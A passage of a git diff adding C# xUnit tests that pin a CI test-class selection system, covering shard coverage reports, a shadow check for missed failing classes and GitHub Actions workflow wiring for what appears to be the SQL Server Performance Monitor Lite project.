+            var chunked = chunks.SelectMany(c => File.ReadAllLines(c)).Where(l => l.Length > 0).ToList();
+            Assert.Equal(listed.OrderBy(n => n).ToList(), chunked.OrderBy(n => n).ToList());
+            seen.AddRange(listed);
+        }
+
+        Assert.Equal(names.OrderBy(n => n).ToList(), seen.OrderBy(n => n).ToList());
+    }
+
+    [Fact]
+    public void TheShardReport_UnionsReports_AndCountsSkips()
+    {
+        var root = Path.Combine(_dir, "ws");
+        Directory.CreateDirectory(root);
+        string Report(string product, int uid) => $"""
+            <CoverageSession>
+              <Modules>
+                <Module>
+                  <Files><File uid="1" fullPath="{root.Replace('\\', '/')}/{product}" /></Files>
+                  <Classes><Class><Methods><Method>
+                    <FileRef uid="1" />
+                    <MethodPoint vc="2" fileid="1"><TrackedMethodRefs><TrackedMethodRef uid="{uid}" vc="2" /></TrackedMethodRefs></MethodPoint>
+                  </Method></Methods></Class></Classes>
+                </Module>
+                <Module>
+                  <TrackedMethods>
+                    <TrackedMethod uid="{uid}" name="System.Void Ns.AlphaTests::Runs()" />
+                  </TrackedMethods>
+                </Module>
+              </Modules>
+            </CoverageSession>
+            """;
+        File.WriteAllText(Path.Combine(_dir, "c1.xml"), Report("src/Gamma.cs", 5));
+        File.WriteAllText(Path.Combine(_dir, "c2.xml"), Report("src/Other.cs", 7));
+        File.WriteAllText(Path.Combine(_dir, "x1.xml"), """
+            <assemblies><assembly><collection>
+              <test type="Ns.AlphaTests" result="Pass" time="1.5" />
+              <test type="Ns.AlphaTests" result="Skip" time="0.5" />
+            </collection></assembly></assemblies>
+            """);
+        File.WriteAllText(Path.Combine(_dir, "listed.txt"), "Ns.AlphaTests\nNs.MissingTests\n");
+
+        var (code, output) = Python("test-map.py", "shard-report", "--suite", "Darling.Tests", "--shard", "2", "--root", root,
+            "--listed", Path.Combine(_dir, "listed.txt"), "--report", Path.Combine(_dir, "c1.xml"),
+            "--report", Path.Combine(_dir, "c2.xml"), "--xml", Path.Combine(_dir, "x1.xml"), "--out", Path.Combine(_dir, "shard.json"));
+
+        Assert.True(code == 0, output);
+        using var doc = JsonDocument.Parse(File.ReadAllText(Path.Combine(_dir, "shard.json")));
+        Assert.Equal("darling", doc.RootElement.GetProperty("suite").GetString());
+        Assert.Equal(2, doc.RootElement.GetProperty("shard").GetInt32());
+        var alpha = doc.RootElement.GetProperty("classes").GetProperty("Ns.AlphaTests");
+        Assert.Equal(new[] { "src/Gamma.cs", "src/Other.cs" }, alpha.GetProperty("files").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(2.0, alpha.GetProperty("seconds").GetDouble());
+        Assert.Equal(2, alpha.GetProperty("tests").GetInt32());
+        Assert.Equal(1, alpha.GetProperty("skipped").GetInt32());
+        var missing = doc.RootElement.GetProperty("classes").GetProperty("Ns.MissingTests");
+        Assert.False(missing.GetProperty("seen").GetBoolean());
+        Assert.Equal(0, missing.GetProperty("files").GetArrayLength());
+    }
+
+    [Fact]
+    public void UnwrapSkips_WithoutAPlainRun_ConvertsOnTheSkipToken()
+    {
+        File.WriteAllText(Path.Combine(_dir, "instr.xml"), """
+            <assemblies><assembly total="2" passed="0" failed="2" skipped="0"><collection total="2" passed="0" failed="2" skipped="0">
+              <test name="A.Skips" type="A" result="Fail"><failure><message>System.AggregateException: ($XunitDynamicSkip$no runtime)</message></failure></test>
+              <test name="A.Breaks" type="A" result="Fail"><failure><message>Assert.Equal() Failure</message></failure></test>
+            </collection></assembly></assemblies>
+            """);
+
+        var (code, output) = Python("altcover-probe.py", "unwrap-skips", "--instr", Path.Combine(_dir, "instr.xml"));
+
+        Assert.True(code == 0, output);
+        Assert.Contains("1 converted back to skips", output);
+        var text = File.ReadAllText(Path.Combine(_dir, "instr.xml"));
+        Assert.Contains("result=\"Skip\"", text);
+        Assert.Contains("Assert.Equal() Failure", text);
+        Assert.True(File.Exists(Path.Combine(_dir, "instr.raw.xml")), "the raw report is kept");
+    }
+
+    // ── the workflow ───────────────────────────────────────────────────────────────────────────────────────
+
+    private static string Nightly() => File.ReadAllText(Path.Combine(ParitySource.RepoRoot(), ".github", "workflows", "nightly.yml"))
+        .Replace("\r\n", "\n");
+
+    private static string Job(string yaml, string name)
+    {
+        var start = yaml.IndexOf("\n  " + name + ":\n", StringComparison.Ordinal);
+        Assert.True(start >= 0, "nightly.yml has no job " + name);
+        var next = Regex.Match(yaml[(start + 1)..], @"\n  (?:#[^\n]*\n  )*[a-z][a-z0-9-]*:\n");
+        return next.Success && next.Index > 0 ? yaml.Substring(start, next.Index + 1) : yaml[start..];
+    }
+
+    [Fact]
+    public void TheJobs_AreOptional_AndNoOtherJobWaitsOnThem()
+    {
+        var yaml = Nightly();
+        foreach (var name in new[] { "test-map-shard", "test-map" })
+        {
+            var job = Job(yaml, name);
+            Assert.Contains("continue-on-error: true", job);
+        }
+
+        Assert.Contains("inputs.test_map != false", Job(yaml, "test-map-shard"));
+        Assert.Matches(@"test_map:\n\s+description: [^\n]+\n\s+type: boolean\n\s+required: false\n\s+default: true", yaml);
+        // "needs: [...]" and block lists: no other job may list the producer, or its failure would change that job's result.
+        var checkedJobs = 0;
+        foreach (Match m in Regex.Matches(yaml, @"\n  ([a-z][a-z0-9-]*):\n"))
+        {
+            var name = m.Groups[1].Value;
+            if (name is "test-map" or "test-map-shard" or "schedule")
+            {
+                continue;
+            }
+
+            checkedJobs++;
+            var needs = Regex.Match(Job(yaml, name), @"\n    needs: ([^\n]+)");
+            if (needs.Success)
+            {
+                Assert.DoesNotContain("test-map", needs.Groups[1].Value);
+            }
+        }
+
+        Assert.True(checkedJobs >= 6, "the job scan found too few jobs to mean anything");
+    }
+
+    [Fact]
+    public void TheShardAndProbeJobs_WaitForBuildAndDarlingPg_ButStillRunAfterAFailedOne()
+    {
+        // The 10 windows shard legs and the AltCover probe used to need only `check`, so they raced build and darling-pg
+        // for runners and build checked out about 8 minutes late (#5459). They wait now; always() keeps them running
+        // after a failed build, and the check result must still be success (the check job is skipped on a schedule event).
+        var yaml = Nightly();
+        foreach (var name in new[] { "test-map-shard", "altcover-probe" })
+        {
+            var job = Job(yaml, name);
+            var needs = Regex.Match(job, @"\n    needs: \[([^\]]+)\]");
+            Assert.True(needs.Success, name + " has no needs list");
+            var listed = needs.Groups[1].Value.Split(',', StringSplitOptions.TrimEntries | StringSplitOptions.RemoveEmptyEntries);
+            Assert.Contains("check", listed);
+            Assert.Contains("build", listed);
+            Assert.Contains("darling-pg", listed);
+
+            var condition = Regex.Match(job, @"\n    if: ([^\n]+)").Groups[1].Value;
+            Assert.StartsWith("always() && needs.check.result == 'success' && ", condition);
+        }
+
+        // The join job keeps waiting on the shards alone.
+        Assert.Matches(@"\n    needs: test-map-shard\n", Job(yaml, "test-map"));
+    }
+
+    [Fact]
+    public void TheJobs_CutTheSameShardCountTheyJoin_AndPinTheProbesAltCover()
+    {
+        var yaml = Nightly();
+        var shardJob = Job(yaml, "test-map-shard");
+        var joinJob = Job(yaml, "test-map");
+
+        foreach (var (suite, expected) in new[] { ("darling", 6), ("lite", 4) })
+        {
+            var legs = Regex.Matches(shardJob, @"\{ suite: " + suite + @", shard: (\d+), shards: (\d+) \}");
+            Assert.Equal(Enumerable.Range(0, expected).ToList(), legs.Select(l => int.Parse(l.Groups[1].Value)).ToList());
+            Assert.All(legs, l => Assert.Equal(expected, int.Parse(l.Groups[2].Value)));
+            Assert.Contains($"--expect {suite}={expected}", joinJob);
+        }
+
+        var pinned = Regex.Match(Job(yaml, "altcover-probe"), @"ALTCOVER_VERSION: '([^']+)'").Groups[1].Value;
+        Assert.NotEmpty(pinned);
+        Assert.Contains($"ALTCOVER_VERSION: '{pinned}'", shardJob);
+
+        // The runtime variable lights up the gated live classes; the Guard classes are listed too (a class the map never
+        // saw would run as "new" on every pull request).
+        Assert.Contains("DARLING_TEST_PGRUNTIME:", shardJob);
+        Assert.DoesNotContain("-trait- Stage=Guard", shardJob);
+        Assert.Contains("unwrap-skips", shardJob);
+        Assert.Contains("retention-days: 14", joinJob);
+        Assert.Contains("ref: ${{ github.sha }}", shardJob);
+    }
+}
diff --git a/Lite.Tests/TestMapShadowGuardTests.cs b/Lite.Tests/TestMapShadowGuardTests.cs
new file mode 100644
index 0000000000..18ed6d22ca
--- /dev/null
+++ b/Lite.Tests/TestMapShadowGuardTests.cs
@@ -0,0 +1,751 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Pins the test-class map's selection and its shadow check (#5459, change 4): the rules that close the holes the
+/// replay found, the shadow-check row, and the workflow wiring that lets exactly three jobs narrow their classes.
+///
+/// <para><b>Why.</b> The selection job computes the selection for every pull request, and the Darling PG shards, the
+/// Lite shards and the build job's no-store Darling pass keep only the classes it names (the shard scripts' `map-keep`
+/// call). The one thing it must never do is run LESS than the full suite by accident, so the pins below fail if a
+/// FULL, missing, unreadable or empty selection narrows anything, if any other job reads the selection, if the
+/// selection job can fail the run, or if a push, the nightly or a release run gets a selection. The rule cases pin
+/// what the replay of the failure corpus asked for: a path written only in a comment, a class named by a sibling
+/// test file, a partial type declared in many files, a class that would otherwise be a hole, and a documentation
+/// file a test reads by name.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Darling")]
+public sealed class TestMapShadowGuardTests : IDisposable
+{
+    private readonly string _dir = Path.Combine(Path.GetTempPath(), "testmap-shadow-" + Guid.NewGuid().ToString("N"));
+
+    public TestMapShadowGuardTests() => Directory.CreateDirectory(_dir);
+
+    public void Dispose()
+    {
+        try
+        {
+            Directory.Delete(_dir, recursive: true);
+        }
+        catch (IOException)
+        {
+        }
+    }
+
+    private static string Script(string name) => Path.Combine(ParitySource.RepoRoot(), ".github", "scripts", name);
+
+    private static (int ExitCode, string Output) Python(string script, params string[] args)
+    {
+        var psi = new ProcessStartInfo("python")
+        {
+            WorkingDirectory = ParitySource.RepoRoot(),
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("-I");
+        psi.ArgumentList.Add(Script(script));
+        foreach (var a in args)
+        {
+            psi.ArgumentList.Add(a);
+        }
+
+        using var p = Process.Start(psi)!;
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        p.WaitForExit();
+        return (p.ExitCode, stdout.Result + stderr.Result);
+    }
+
+    private void Write(string relative, string content)
+    {
+        var path = Path.Combine(_dir, relative);
+        Directory.CreateDirectory(Path.GetDirectoryName(path)!);
+        File.WriteAllText(path, content);
+    }
+
+    private static string ShardJson(string suite, int shard, params (string Full, string[] Files)[] rows)
+    {
+        var classes = rows.ToDictionary(r => r.Full, r => new Dictionary<string, object>
+        {
+            ["files"] = r.Files,
+            ["seconds"] = 1.0,
+            ["tests"] = 1,
+            ["skipped"] = 0,
+            ["failed"] = 0,
+            ["seen"] = true,
+        });
+        return JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["suite"] = suite,
+            ["shard"] = shard,
+            ["tests_exit"] = 0,
+            ["listed"] = rows.Select(r => r.Full).ToArray(),
+            ["classes"] = classes,
+        });
+    }
+
+    /// <summary>Builds a map over a small checkout that holds one case per rule; no coverage is given for the classes.</summary>
+    private JsonElement BuildRuleMap(out JsonDocument doc)
+    {
+        var tracked = new List<string>
+        {
+            "Darling/Darling.Tests/TwinTests.cs", "Darling/Darling.Tests/BaseTests.cs", "Darling/Darling.Tests/SiblingTests.cs",
+            "Darling/Darling.Tests/UsesBigTests.cs", "Darling/Darling.Tests/EmptyHoleTests.cs", "Lite/Analysis/Detector.cs",
+            "src/Big.cs",
+        };
+        Write("Darling/Darling.Tests/TwinTests.cs", """
+            /// <summary>Holds the Darling detector to Lite's (Lite/Analysis/Detector.cs:120).</summary>
+            public sealed class TwinTests { public void Runs() { } }
+            """);
+        Write("Darling/Darling.Tests/BaseTests.cs", "public sealed class BaseTests { public void Runs() { } }\n");
+        Write("Darling/Darling.Tests/SiblingTests.cs", """
+            /// <summary>Same rig as <see cref="BaseTests"/>.</summary>
+            public sealed class SiblingTests { public void Runs() { } }
+            """);
+        Write("Darling/Darling.Tests/UsesBigTests.cs", """
+            public sealed class UsesBigTests { public void Pins() { var s = Big.OnlyHereSql; } }
+            """);
+        Write("Darling/Darling.Tests/EmptyHoleTests.cs", "public sealed class EmptyHoleTests { public void Nothing() { } }\n");
+        Write("Lite/Analysis/Detector.cs", "public sealed class Detector { }\n");
+        // A partial type declared in 7 files (over the 5-file cap of the type-name rule); one of them holds the member.
+        foreach (var part in new[] { "", ".A", ".B", ".C", ".D", ".E", ".F" })
+        {
+            var rel = "src/Big" + part + ".cs";
+            tracked.Add(rel);
+            Write(rel, "public partial class Big { " + (part == ".F" ? "public const string OnlyHereSql = \"x\";" : "") + " }\n");
+        }
+
+        // A partial type whose files are not named after it: a class that names only the type would be a hole.
+        for (var i = 1; i <= 7; i++)
+        {
+            tracked.Add("src/W" + i + ".cs");
+            Write("src/W" + i + ".cs", "public partial class Wide { }\n");
+        }
+
+        tracked.Add("Darling/Darling.Tests/FallbackTests.cs");
+        Write("Darling/Darling.Tests/FallbackTests.cs", "public sealed class FallbackTests { public void Runs() { _ = new Wide(); } }\n");
+        tracked = tracked.Distinct().ToList();
+        Write("tracked.txt", string.Join("\n", tracked));
+        Write("shards/a/shard-darling-0.json", ShardJson("darling", 0,
+            ("Ns.TwinTests", Array.Empty<string>()), ("Ns.BaseTests", Array.Empty<string>()), ("Ns.SiblingTests", Array.Empty<string>()),
+            ("Ns.UsesBigTests", Array.Empty<string>()), ("Ns.EmptyHoleTests", Array.Empty<string>()),
+            ("Ns.FallbackTests", Array.Empty<string>())));
+        Write("shards/a/shard-lite-0.json", ShardJson("lite", 0, ("Ns.LiteOnlyTests", Array.Empty<string>())));
+        Write("Lite.Tests/LiteOnlyTests.cs", "public sealed class LiteOnlyTests { public void Runs() { } }\n");
+        File.AppendAllText(Path.Combine(_dir, "tracked.txt"), "\nLite.Tests/LiteOnlyTests.cs");
+
+        var (code, output) = Python("test-map.py", "build", "--root", _dir, "--shards", Path.Combine(_dir, "shards"),
+            "--sha", "0123456789abcdef", "--built-at", "2026-10-08T00:00:00Z", "--tracked", Path.Combine(_dir, "tracked.txt"),
+            "--out", Path.Combine(_dir, "map.json.gz"), "--summary", Path.Combine(_dir, "summary.md"));
+        Assert.True(code == 0, output);
+        using var gz = new System.IO.Compression.GZipStream(File.OpenRead(Path.Combine(_dir, "map.json.gz")),
+            System.IO.Compression.CompressionMode.Decompress);
+        doc = JsonDocument.Parse(gz);
+        return doc.RootElement;
+    }
+
+    private static List<string> Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToList();
+
+    private static List<string> FilesOf(JsonElement map, string suite, string cls)
+    {
+        var universe = Strings(map.GetProperty("files"));
+        return map.GetProperty("classes").GetProperty(suite).GetProperty(cls).GetProperty("files")
+            .EnumerateArray().Select(i => universe[i.GetInt32()]).ToList();
+    }
+
+    [Fact]
+    public void ARepoPath_WrittenOnlyInAComment_SelectsTheClass()
+    {
+        BuildRuleMap(out var doc);
+        using (doc)
+        {
+            var patterns = Strings(doc.RootElement.GetProperty("text_patterns").GetProperty("TwinTests"));
+            Assert.Contains("Lite/Analysis/Detector.cs", patterns);
+        }
+    }
+
+    [Fact]
+    public void ATestFile_ThatNamesAClass_SelectsThatClassWhenItChanges()
+    {
+        BuildRuleMap(out var doc);
+        using (doc)
+        {
+            var patterns = Strings(doc.RootElement.GetProperty("text_patterns").GetProperty("BaseTests"));
+            Assert.Contains("Darling/Darling.Tests/SiblingTests.cs", patterns);
+        }
+    }
+
+    [Fact]
+    public void APartialType_DeclaredInManyFiles_MapsToTheFilesThatDeclareTheNamedMember_AndTheFilesNamedAfterIt()
+    {
+        BuildRuleMap(out var doc);
+        using (doc)
+        {
+            var files = FilesOf(doc.RootElement, "darling", "UsesBigTests");
+            Assert.Contains("src/Big.F.cs", files);   // Big.OnlyHereSql is declared there
+            Assert.Contains("src/Big.cs", files);     // the files named after the type
+        }
+    }
+
+    [Fact]
+    public void AClass_ThatWouldBeAHole_NeverEndsWithNothing()
+    {
+        BuildRuleMap(out var doc);
+        using (doc)
+        {
+            // FallbackTests names only a partial type spread over 7 differently named files: it takes all of them.
+            Assert.Contains("src/W4.cs", FilesOf(doc.RootElement, "darling", "FallbackTests"));
+            var summary = File.ReadAllText(Path.Combine(_dir, "summary.md"));
+            // EmptyHoleTests names nothing and covers nothing: it stays a hole. UsesBigTests names only a member of
+            // a partial type declared in more files than the type-name rule's cap, and was a hole before the rule.
+            Assert.Contains("- darling EmptyHoleTests (", summary, StringComparison.Ordinal);
+            Assert.DoesNotContain("UsesBigTests (", summary, StringComparison.Ordinal);
+            Assert.DoesNotContain("TwinTests (", summary, StringComparison.Ordinal);
+            Assert.DoesNotContain("- darling BaseTests (", summary, StringComparison.Ordinal);
+        }
+    }
+
+    private (int ExitCode, JsonElement Result) MapSelect(string files, string patternsJson)
+    {
+        var map = Path.Combine(_dir, "sel-map.json");
+        File.WriteAllText(map, """
+            {"schema": 1, "sha": "0000000", "built_at": "@BUILT@", "tool": "synthetic",
+             "files": ["Lite/Services/A.cs", "Lite.Tests/Own.cs", "CHANGELOG.md"],
+             "classes": {"lite": {"OwnTests": {"own": 1, "files": [0], "seconds": 1.5},
+                                  "LadderTests": {"own": 1, "files": [], "seconds": 2.0}}},
+             "text_patterns": @PATTERNS@}
+            """.Replace("@BUILT@", DateTime.UtcNow.ToString("o"), StringComparison.Ordinal)
+               .Replace("@PATTERNS@", patternsJson, StringComparison.Ordinal));
+        Directory.CreateDirectory(Path.Combine(_dir, "tree", "Lite.Tests"));
+        File.WriteAllText(Path.Combine(_dir, "tree", "Lite.Tests", "Own.cs"), "public class OwnTests { }\npublic class LadderTests { }\n");
+        var (code, output) = Python("ci-select.py", "map-select", "--map", map, "--root", Path.Combine(_dir, "tree"),
+            "--drift-file", "-", "--out", Path.Combine(_dir, "sel.json"), files);
+        Assert.True(code == 0, output);
+        using var doc = JsonDocument.Parse(File.ReadAllText(Path.Combine(_dir, "sel.json")));
+        return (code, doc.RootElement.Clone());
+    }
+
+    [Fact]
+    public void ADocumentationFile_ARead_ByName_SelectsTheClass_ButAWildcardDoesNot()
+    {
+        var (_, byName) = MapSelect("CHANGELOG.md", """{"LadderTests": ["CHANGELOG.md", "docs/**"]}""");
+        Assert.False(byName.GetProperty("full").GetBoolean(), byName.ToString());
+        Assert.Contains("LadderTests", Strings(byName.GetProperty("selected").GetProperty("lite")));
+
+        var (_, byWildcard) = MapSelect("docs/guide.md", """{"LadderTests": ["CHANGELOG.md", "docs/**"]}""");
+        Assert.DoesNotContain("LadderTests", Strings(byWildcard.GetProperty("selected").GetProperty("lite")));
+    }
+
+    private void WriteReport(string artifact, string type, string result, string file = "x.xml")
+    {
+        Write(Path.Combine("reports", artifact, file),
+            "<assemblies><assembly><collection><test name=\"n\" type=\"" + type + "\" method=\"m\" time=\"1\" result=\"" + result + "\" />"
+            + "</collection></assembly></assemblies>");
+    }
+
+    private JsonElement ShadowCheck(string? selectionJson, string meta = "{\"run\": \"1\"}", string? jobsLines = null)
+    {
+        var args = new List<string> { "shadow-check", "--reports", Path.Combine(_dir, "reports"), "--out", Path.Combine(_dir, "row.jsonl"),
+            "--meta", meta };
+        if (selectionJson is not null)
+        {
+            Write("selection.json", selectionJson);
+            args.Add("--selection");
+            args.Add(Path.Combine(_dir, "selection.json"));
+        }
+
+        if (jobsLines is not null)
+        {
+            Write("jobs.jsonl", jobsLines);
+            args.Add("--jobs");
+            args.Add(Path.Combine(_dir, "jobs.jsonl"));
+        }
+
+        var (code, output) = Python("ci-select.py", args.ToArray());
+        Assert.True(code == 0, output);
+        var lines = File.ReadAllLines(Path.Combine(_dir, "row.jsonl"));
+        Assert.Single(lines);
+        return JsonDocument.Parse(lines[0]).RootElement;
+    }
+
+    [Fact]
+    public void TheShadowCheck_ListsEveryFailedClassTheSelectionWouldNotHaveRun_InOneRow()
+    {
+        WriteReport("darling-tests-timing-0", "Darling.Tests.PickedTests", "Fail");
+        WriteReport("lite-tests-timing-1", "Lite.Tests.SkippedTests", "Fail");
+        Write(Path.Combine("reports", "lite-tests-timing-2", "y.xml"),
+            "<assemblies><assembly><collection><test name=\"n\" type=\"Lite.Tests.FineTests\" method=\"m\" time=\"1\" result=\"Pass\" /></collection></assembly></assemblies>");
+        var row = ShadowCheck("""
+            {"full": false, "reason": "", "selected": {"darling": ["PickedTests"], "lite": ["FineTests"]},
+             "total": {"darling": 5, "lite": 9}, "seconds": {"darling": 12.5, "lite": 3}, "why": {}}
+            """);
+        Assert.False(row.GetProperty("full").GetBoolean());
+        Assert.Equal("1", row.GetProperty("run").GetString());
+        var misses = row.GetProperty("misses").EnumerateArray().ToList();
+        Assert.Single(misses);
+        Assert.Equal("lite", misses[0].GetProperty("suite").GetString());
+        Assert.Equal("SkippedTests", misses[0].GetProperty("class").GetString());
+        Assert.Equal(1, row.GetProperty("reports").GetProperty("darling").GetInt32());
+        Assert.Equal(2, row.GetProperty("reports").GetProperty("lite").GetInt32());
+    }
+
+    private const string OnePickedSelection = """
+        {"full": false, "reason": "", "selected": {"darling": ["PickedTests"], "lite": []},
+         "total": {"darling": 5, "lite": 9}, "seconds": {}, "why": {}}
+        """;
+
+    [Fact]
+    public void TheGuardTestsJobsFailedClasses_AreInTheRow_AndCountAsMissesWhenNotSelected()
+    {
+        // #5459: the Guard tests job's xunit report is uploaded as guard-tests-timing-<suite>; the shard reports alone
+        // left five runs with a failing Guard class and an empty row.
+        WriteReport("guard-tests-timing-darling", "Darling.Tests.RepoFileAdoptionTests", "Fail", "guard-darling-a1.xml");
+        WriteReport("guard-tests-timing-lite", "Lite.Tests.WpfStaGateCensusTests", "Fail", "guard-lite-a1.xml");
+        WriteReport("darling-tests-timing-0", "Darling.Tests.PickedTests", "Pass", "darling-timing-0-1-a1.xml");
+
+        var row = ShadowCheck(OnePickedSelection, """{"run": "1", "attempt": "1"}""");
+
+        Assert.Equal(new[] { "RepoFileAdoptionTests" }, row.GetProperty("failed").GetProperty("darling").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(new[] { "WpfStaGateCensusTests" }, row.GetProperty("failed").GetProperty("lite").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(2, row.GetProperty("misses").GetArrayLength());
+        Assert.Equal(2, row.GetProperty("reports").GetProperty("darling").GetInt32());
+    }
+
+    [Fact]
+    public void AFolderKeepsItsHighestAttempt_AndCountsLowerOnesStale()
+    {
+        // #5459, run 37776652739: shard 0 failed in attempt 1 and passed in attempt 2. The check ran in attempt 2 and
+        // listed the attempt-1 class. Staleness is per artifact folder: the folder's highest attempt counts, a lower
+        // one in the same folder is stale. The run's own attempt is not the filter.
+        WriteReport("lite-tests-timing-0", "Lite.Tests.ScreenReaderRowNamesTests", "Fail", "lite-timing-0-1-a1.xml");
+        WriteReport("lite-tests-timing-0", "Lite.Tests.ScreenReaderRowNamesTests", "Pass", "lite-timing-0-1-a2.xml");
+
+        foreach (var attempt in new[] { "1", "2" })
+        {
+            var row = ShadowCheck(OnePickedSelection, "{\"run\": \"1\", \"attempt\": \"" + attempt + "\"}");
+
+            Assert.Empty(row.GetProperty("failed").GetProperty("lite").EnumerateArray());
+            Assert.Empty(row.GetProperty("misses").EnumerateArray());
+            Assert.Equal(1, row.GetProperty("reports").GetProperty("lite").GetInt32());
+            Assert.Equal(1, row.GetProperty("stale_reports").GetInt32());
+        }
+    }
+
+    [Fact]
+    public void RerunFailedJobs_KeepsThePassingShardsAttempt1Reports()
+    {
+        // "Re-run failed jobs" does not re-run a shard that passed in attempt 1, so its artifact still holds -a1 files
+        // when the check runs in attempt 2. They belong to the run and must count, not be dropped as stale.
+        WriteReport("darling-tests-timing-0", "Darling.Tests.PickedTests", "Pass", "darling-timing-0-1-a1.xml");
+        WriteReport("darling-tests-timing-1", "Darling.Tests.OtherTests", "Pass", "darling-timing-1-1-a2.xml");
+        WriteReport("lite-tests-timing-0", "Lite.Tests.LiteOnlyTests", "Pass", "lite-timing-0-1-a1.xml");
+
+        var row = ShadowCheck(OnePickedSelection, """{"run": "1", "attempt": "2"}""");
+
+        Assert.Equal(2, row.GetProperty("reports").GetProperty("darling").GetInt32());
+        Assert.Equal(1, row.GetProperty("reports").GetProperty("lite").GetInt32());
+        Assert.Equal(0, row.GetProperty("stale_reports").GetInt32());
+    }
+
+    [Fact]
+    public void AJobThatFailedWithoutAFailedTest_IsListedAsAFailedJob()
+    {
+        // #5459: the whole-tree guards job can end red on a leaked foreground thread, with 0 failed tests.
+        var jobs = """
+            {"name":"Guard tests","conclusion":"success"}
+            {"name":"Darling whole-tree guards","conclusion":"failure"}
+            {"name":"Lite tests (0)","conclusion":"skipped"}
+            """;
+
+        var row = ShadowCheck(OnePickedSelection, """{"run": "1", "attempt": "1"}""", jobs);
+
+        Assert.Equal(new[] { "Darling whole-tree guards" }, row.GetProperty("failed_jobs").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Empty(row.GetProperty("misses").EnumerateArray());
+    }
+
+    [Fact]
+    public void ACancelledSelectionJob_IsNamedInTheReason_NotReportedAsAScriptFault()
+    {
+        // #5459, run 37832135291: a newer push cancelled the run one second into the selection job.
+        var row = ShadowCheck(null, """{"run": "1", "selection_job": "cancelled"}""");
+
+        Assert.True(row.GetProperty("full").GetBoolean());
+        Assert.Contains("selection job ended cancelled", row.GetProperty("reason").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AFullOrMissingSelection_CannotHaveAShadowMiss()
+    {
+        WriteReport("darling-tests-timing-0", "Darling.Tests.AnyTests", "Fail");
+        var full = ShadowCheck("""{"full": true, "reason": "no test map"}""");
+        Assert.True(full.GetProperty("full").GetBoolean());
+        Assert.Empty(full.GetProperty("misses").EnumerateArray());
+
+        File.Delete(Path.Combine(_dir, "selection.json"));
+        var missing = ShadowCheck(null);
+        Assert.True(missing.GetProperty("full").GetBoolean());
+        Assert.Empty(missing.GetProperty("misses").EnumerateArray());
+    }
+
+    private static string BuildYml() => File.ReadAllText(Path.Combine(ParitySource.RepoRoot(), ".github", "workflows", "build.yml"))
+        .Replace("\r\n", "\n");
+
+    private static string Job(string yaml, string name)
+    {
+        var start = yaml.IndexOf("\n  " + name + ":\n", StringComparison.Ordinal);
+        Assert.True(start >= 0, "build.yml has no job " + name);
+        var next = Regex.Match(yaml[(start + 1)..], @"\n  (?:#[^\n]*\n  )*[a-z][a-z0-9-]*:\n");
+        return next.Success && next.Index > 0 ? yaml.Substring(start, next.Index + 1) : yaml[start..];
+    }
+
+    private static readonly string[] s_selectionConsumers = ["build", "darling-pg", "lite-tests"];
+
+    [Fact]
+    public void OnlyTheThreeTestJobs_ReadTheSelection_EachThroughOneDownloadStep_AndNoJobReadsTheMapItself()
+    {
+        var yml = BuildYml();
+        var jobNames = Regex.Matches(yml, @"^  ([a-z][a-z0-9-]*):\s*$", RegexOptions.Multiline).Select(m => m.Groups[1].Value)
+            .Where(n => n is not ("on" or "permissions" or "env" or "concurrency" or "jobs")).ToList();
+        Assert.Contains("test-map-select", jobNames);
+        Assert.Contains("shadow-check", jobNames);
+        Assert.DoesNotContain("test-map-shadow", jobNames);
+        Assert.DoesNotContain("test-map-shadow-selection", yml, StringComparison.Ordinal);
+
+        // Before the selection went live no test job read the map; now exactly these three read the SELECTION, and
+        // still never the map: the pinned map (gate outputs test_map_*) belongs to the selection job alone.
+        foreach (var name in jobNames.Where(n => n is not ("gate" or "test-map-select" or "shadow-check")))
+        {
+            var job = Job(yml, name);
+            Assert.DoesNotContain("test_map", job, StringComparison.Ordinal);
+            Assert.DoesNotContain("ci-select.py map-select", job, StringComparison.Ordinal);
+            Assert.DoesNotContain("shadow-check", job, StringComparison.Ordinal);
+            if (s_selectionConsumers.Contains(name))
+            {
+                continue;
+            }
+
+            Assert.DoesNotContain("test-map-select", job, StringComparison.Ordinal);
+            Assert.DoesNotContain("test-map-selection", job, StringComparison.Ordinal);
+            Assert.DoesNotContain("TEST_MAP_SELECTION", job, StringComparison.Ordinal);
+        }
+
+        // The selection job and the check run on pull requests only and cannot redden the run. The selection job is
+        // capped at 5 minutes because the three test jobs wait for it; the check is capped at 10.
+        foreach (var (name, minutes) in new[] { ("test-map-select", 5), ("shadow-check", 10) })
+        {
+            var job = Job(yml, name);
+            Assert.Contains("continue-on-error: true\n    permissions:", job, StringComparison.Ordinal);
+            Assert.Contains("github.event_name == 'pull_request'", job, StringComparison.Ordinal);
+            Assert.Contains($"timeout-minutes: {minutes}\n", job, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("needs: [gate]", Job(yml, "test-map-select"), StringComparison.Ordinal);
+        Assert.Contains("needs: [gate, guard-tests, test-map-select, darling-pg, lite-tests]", Job(yml, "shadow-check"), StringComparison.Ordinal);
+        Assert.Contains("always()", Job(yml, "shadow-check"), StringComparison.Ordinal);
+
+        // Each consumer waits on the selection job, never fails because of it (`!cancelled()` in its own `if`), and
+        // downloads this run's artifact in ONE step that cannot fail the job.
+        foreach (var name in s_selectionConsumers)
+        {
+            var job = Job(yml, name);
+            var needs = Regex.Match(job, @"\n    needs: (\[[^\]]*\])");
+            Assert.Contains("test-map-select", needs.Groups[1].Value, StringComparison.Ordinal);
